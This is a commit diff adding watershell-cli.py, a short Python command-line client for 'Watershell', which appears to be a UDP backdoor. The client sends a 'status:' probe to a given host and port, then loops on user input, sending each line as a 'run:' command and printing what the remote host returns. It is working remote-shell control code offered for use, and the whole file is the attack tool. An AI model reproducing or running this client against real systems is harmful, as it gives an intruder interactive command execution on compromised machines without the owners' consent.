added output from watershell and made little cli for it

watershell-cli.py

@@ -0,0 +1,58 @@
+import socket, time, sys
+
+
+def recv_timeout(the_socket,timeout=2):
+    #make socket non blocking
+    the_socket.setblocking(0)
+    
+    #total data partwise in an array
+    total_data=[];
+    data='';
+    
+    #beginning time
+    begin=time.time()
+    while 1:
+        #if you got some data, then break after timeout
+        if total_data and time.time()-begin > timeout:
+            break
+        
+        #if you got no data at all, wait a little longer, twice the timeout
+        elif time.time()-begin > timeout*2:
+            break
+        
+        #recv something
+        try:
+            data = the_socket.recv(8192)
+            if data:
+                total_data.append(data.decode())
+                #change the beginning time for measurement
+                begin=time.time()
+            else:
+                #sleep for sometime to indicate a gap
+                time.sleep(0.1)
+        except:
+            pass
+    
+    #join all parts to make final string
+    return ''.join(total_data)
+
+if __name__ == '__main__':
+    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    s.bind(("", 53316))
+    box = (sys.argv[1], int(sys.argv[2]))
+    print("Connecting to Watershell on {}...".format(box))
+    s.sendto(b'status:', box)
+    resp = recv_timeout(s, 1)
+    if resp == "up":
+        print("Connected!")
+    else:
+        print("Connection Failed...")
+        sys.exit(1)
+    while True:
+        cmd = input("//\\\\watershell//\\\\>> ")
+        if cmd == 'exit':
+            break
+        if len(cmd) > 1:
+            s.sendto(("run:"+cmd).encode(), box)
+            resp = recv_timeout(s, 2)
+            print(resp)